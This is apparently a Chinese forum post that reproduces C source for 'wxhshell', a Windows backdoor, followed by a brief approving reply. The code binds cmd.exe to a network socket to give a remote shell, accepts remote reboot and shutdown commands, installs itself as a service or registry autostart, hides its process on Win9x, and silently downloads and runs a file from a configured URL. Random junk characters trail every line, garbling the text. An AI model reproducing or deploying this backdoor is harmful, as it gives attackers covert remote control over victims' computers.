  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %A04'dj`zQ  
  else Gt'%:9r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dAR):ZKq?  
  } ))<3+^S0V\  
  else { \59+JLmP4  
xI$B",?(  
    switch(cmd[0]) { Ao2t=vg  
  V#zDYrp  
  // 帮助 88G Q  F  
  case '?': { sa{X.}i%E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k? X7h2  
    break; z>~Hc8*]3  
  } dx?4)lb  
  // 安装 d n3sh<  
  case 'i': { :beBiO  
    if(Install()) pno]B ld'z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k1W q$KCwG  
    else l:%4@t`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8sLp! O;f2  
    break; Gz@'W%6yaV  
    } pPUKx =d  
  // 卸载 ;CD@RP{$n  
  case 'r': { _Uc le  
    if(Uninstall()) W&qE_r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wS9EC}s:Q  
    else HsO4C)/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X2v|O3>/N  
    break; va[@XGaC3  
    } f 0D9Mp  
  // 显示 wxhshell 所在路径 F<VoPqHq  
  case 'p': { Mt"j< ]EW  
    char svExeFile[MAX_PATH]; lku}I4  
    strcpy(svExeFile,"\n\r"); T_i]y4dg  
      strcat(svExeFile,ExeFile); l.Iov?e1S  
        send(wsh,svExeFile,strlen(svExeFile),0); 9q(*'rAm  
    break; zo4 IY`3  
    } eTw sh]  
  // 重启 BxVo>r  
  case 'b': { NBU[>P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PRa #; Wb  
    if(Boot(REBOOT)) 3=SIIMp7=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hx5t![g2K!  
    else { /{QR:8}-Q  
    closesocket(wsh); ~`~mnlN  
    ExitThread(0); uczOSd  
    } D',[M)  
    break; 1 w*DU9f  
    } d[eN#<  
  // 关机 MZ]#9/  
  case 'd': { w_4/::K*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OFH!z{*  
    if(Boot(SHUTDOWN)) $ReoIU^<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ='"DUQH|*  
    else { KElzYZl8  
    closesocket(wsh); >LS*G qjq  
    ExitThread(0); %\<SSp^n  
    } y(!J8(yA  
    break; zI1-l9 o  
    } `0'Bg2'  
  // 获取shell w%Vw*i6o  
  case 's': { Ky(=O1Ufu  
    CmdShell(wsh); *>"k/XUn$  
    closesocket(wsh); <e)5$Aj  
    ExitThread(0); b8o}bm{s  
    break; 9b88):[qO  
  } ;]/>n:[ E  
  // 退出 *?dw`j_b >  
  case 'x': { j6@5"wx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 57PoJ+  
    CloseIt(wsh); fZ8at  
    break; +eT1/x0  
    } uj 6dP  
  // 离开 yhwwF n\  
  case 'q': { 5ctH=t0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @-9u;aL  
    closesocket(wsh); GP|G[  
    WSACleanup(); h0;PtQb1  
    exit(1); b3$aPwv  
    break;  J^"  
        } 0C3s  
  } 7=V s1TVc  
  } YTWlR]Tr6?  
{Ftz4y)6  
  // 提示信息 WcE{1&PXx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gt~hUwL  
} 8Df(|>mK  
  } !+Ia#(  
&2i3"9k  
  return; OanHG  
} <|,0%bq)|  
$]H^?  
// shell模块句柄 *C>B-j$  
int CmdShell(SOCKET sock) w"p,6Ew  
{ ^&nC)T<w  
STARTUPINFO si; ?z "fp$  
ZeroMemory(&si,sizeof(si)); -5v2E-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kB`t_`7f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c_oI?D9  
PROCESS_INFORMATION ProcessInfo; XI>|"*-l  
char cmdline[]="cmd"; 3F/05}d`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lz=DP:/&  
  return 0; xUp[)B6?:  
} UD 0v ia  
iGCA>5UE  
// 自身启动模式 m %mA0r  
int StartFromService(void) E="FE.%A  
{ v7;zce/~  
typedef struct +Xa^3 =B  
{ hN~]$"@2  
  DWORD ExitStatus; pH#*:v!)  
  DWORD PebBaseAddress; ]6PX4oK_t  
  DWORD AffinityMask; [P'crV,m  
  DWORD BasePriority; je9eJUKE  
  ULONG UniqueProcessId; iti~RV,  
  ULONG InheritedFromUniqueProcessId; MT`gCvoF4P  
}   PROCESS_BASIC_INFORMATION; T2;%@Ghc  
XET'XJWF%  
PROCNTQSIP NtQueryInformationProcess; a{?`yO/ 2  
f^ q0#+k)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 35 Y#eU2]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i&|fGX?-I  
!^o(?1  
  HANDLE             hProcess; QQQ3U  
  PROCESS_BASIC_INFORMATION pbi; [# X:!xcl  
{i:5XL   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :'\4%D=w  
  if(NULL == hInst ) return 0; aD2+9?m  
Bl)znJ^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GrwoV~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xB&kxW.;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ER z@o_  
,I(PDlvtM  
  if (!NtQueryInformationProcess) return 0; DXbzl +R  
/ 7EeM{,~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5<%]6cx}  
  if(!hProcess) return 0; -EwtO4vLJ  
R @h@@lSf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =1rq?M eX  
2u0dn?9\  
  CloseHandle(hProcess); q&eUw<(F  
Hk65c0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a@1 r3az  
if(hProcess==NULL) return 0; SvlS 4C  
N8$MAW  
HMODULE hMod; /0w?"2-  
char procName[255]; 3 cd5 g  
unsigned long cbNeeded;  R~jV  
9.bMA<X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h6!o,qw"  
4JF8S#8B  
  CloseHandle(hProcess); ^7l.!s#$b  
i.4L;(cg  
if(strstr(procName,"services")) return 1; // 以服务启动 B{ i5UhxD  
Z;/"-.i  
  return 0; // 注册表启动 NW}kvZ  
} nN|zEw]  
&"V%n  
// 主模块 HvITw%`  
int StartWxhshell(LPSTR lpCmdLine) *{5L*\AZ  
{ >E;&SX  
  SOCKET wsl; vt;<+"eps  
BOOL val=TRUE; +6vm4(3?  
  int port=0; Y(>]7  
  struct sockaddr_in door; YF{KSGq  
Ga4Ru  
  if(wscfg.ws_autoins) Install(); By3/vb)M5  
R/H ?/  
port=atoi(lpCmdLine); b";w\H  
Z%*_kk  
if(port<=0) port=wscfg.ws_port; %4Nq T  
GHQa{@m2V  
  WSADATA data; AJRfl%3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LK8K=AA3P  
`jR= X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U=<E,tM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9v(&3,)a  
  door.sin_family = AF_INET; S.o@95M   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _ ?f~UvK  
  door.sin_port = htons(port); Q+ ;6\.#r  
"FC;k >m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H'uRgBjWJ  
closesocket(wsl); P |c6V  
return 1; e![|-m%  
}  D7%`hU  
l?_Iu_Qp  
  if(listen(wsl,2) == INVALID_SOCKET) { EP#3+B sH  
closesocket(wsl); *iB_$7n`  
return 1; %YhZ#>WT  
} `0+zF-  
  Wxhshell(wsl); 4ze-N8<[  
  WSACleanup(); M*)}F  
9C5w!_b@  
return 0; umXa   
< C\snB  
} [wAI;=.  
Bb];qYuCO  
// 以NT服务方式启动 sygAEL;.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pg69mKZ$  
{ EfY|S3Av  
DWORD   status = 0; hV_eb6aj}P  
  DWORD   specificError = 0xfffffff; \D BtU7"v  
VsOn j~@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @dAc2<4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]zHUF!a*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lz X0B&:  
  serviceStatus.dwWin32ExitCode     = 0; oB8u[ !  
  serviceStatus.dwServiceSpecificExitCode = 0; #SQao;>  
  serviceStatus.dwCheckPoint       = 0; XW6Ewrm=vT  
  serviceStatus.dwWaitHint       = 0; kS[xwbE  
> TG:}H(J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;5 cg<~t  
  if (hServiceStatusHandle==0) return; UJ1Ui'a(!!  
+)Tt\Q%7  
status = GetLastError(); AE1!u{  
  if (status!=NO_ERROR) '7Dg+a^x7  
{ ']1j M n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A P><l@  
    serviceStatus.dwCheckPoint       = 0; djV^A  
    serviceStatus.dwWaitHint       = 0; uW!',"0ER  
    serviceStatus.dwWin32ExitCode     = status; j,QeL  
    serviceStatus.dwServiceSpecificExitCode = specificError; > Zo_-,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]V J$;v'{[  
    return; t{tcy$bw  
  } hdtb.u~  
?!1K@/!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A7DEAT))4L  
  serviceStatus.dwCheckPoint       = 0; +N2?fgA  
  serviceStatus.dwWaitHint       = 0; "exph$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vMKmHq  
} B*E:?4(<P  
B e"D0=<  
// 处理NT服务事件,比如:启动、停止 |XOD~Plo^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tsR\c O~/  
{ W!4(EdT*Cq  
switch(fdwControl) 1pogk0h.:  
{ !'(bwbd  
case SERVICE_CONTROL_STOP: hv te)  
  serviceStatus.dwWin32ExitCode = 0; P4"_qxAW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^Fgmwa'  
  serviceStatus.dwCheckPoint   = 0; 8r(S=dA  
  serviceStatus.dwWaitHint     = 0; B25@6   
  { @ae;&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IQxY]0\uf6  
  } ,TaaXI  
  return; w+ gA3Dg  
case SERVICE_CONTROL_PAUSE: $J&ww P[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =xScHy{$  
  break; Xu $_%+46  
case SERVICE_CONTROL_CONTINUE: (D F{l?4x-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; poj@ G{  
  break; %YLdie6c  
case SERVICE_CONTROL_INTERROGATE: _3DRCNvh  
  break; 6f/>o$  
}; 0TK+R43_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8?!=/Sc  
} )| @'}k+  
bS_fWD-  
// 标准应用程序主函数 yg\bCvL&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;g$s`l/ 4  
{ ,5Jq ZD  
6O8'T`F[  
// 获取操作系统版本 A$.woE@  
OsIsNt=GetOsVer(); i&\N_PUm[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }6b=2Z}  
~.7r  
  // 从命令行安装 }@Lbv aa  
  if(strpbrk(lpCmdLine,"iI")) Install(); 52K_kB5  
 *e{d^  
  // 下载执行文件 YFgQ!\&59  
if(wscfg.ws_downexe) { +[@Ug`5M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3OTq  
  WinExec(wscfg.ws_filenam,SW_HIDE); WL(u'%5  
} #?L%M  
o\u31,  
if(!OsIsNt) { ?-[.H^]s~  
// 如果时win9x,隐藏进程并且设置为注册表启动 JVE]Qb_  
HideProc(); \ a18Hp|%  
StartWxhshell(lpCmdLine); ~]8bTw@  
} !^BXai/  
else VOH.EK?5  
  if(StartFromService()) $[txZN  
  // 以服务方式启动 os*QWSs  
  StartServiceCtrlDispatcher(DispatchTable); gK7j~.bb"  
else <_&tP=h  
  // 普通方式启动 EdxTaR  
  StartWxhshell(lpCmdLine); P [-2^1P"  
Q| > \{M  
return 0; l<0 BMwS8  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五